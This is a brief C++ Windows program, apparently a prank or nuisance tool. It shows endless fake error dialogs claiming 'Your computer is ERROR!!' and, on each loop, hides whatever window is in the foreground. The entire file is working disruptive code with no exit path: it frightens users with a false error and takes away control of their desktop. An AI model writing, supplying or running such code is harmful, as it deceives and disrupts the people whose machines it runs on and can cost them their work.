#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main() {
	bool f=true; 
	while(1) {
		MessageBox(NULL,"Your computer is ERROR!!","dsj434rsfd54kg45s5dfh",MB_ICONERROR);
		if(f) {
			HWND hwnd=GetForegroundWindow();
			ShowWindow(hwnd,SW_HIDE);
		}
	}
	return 0;
}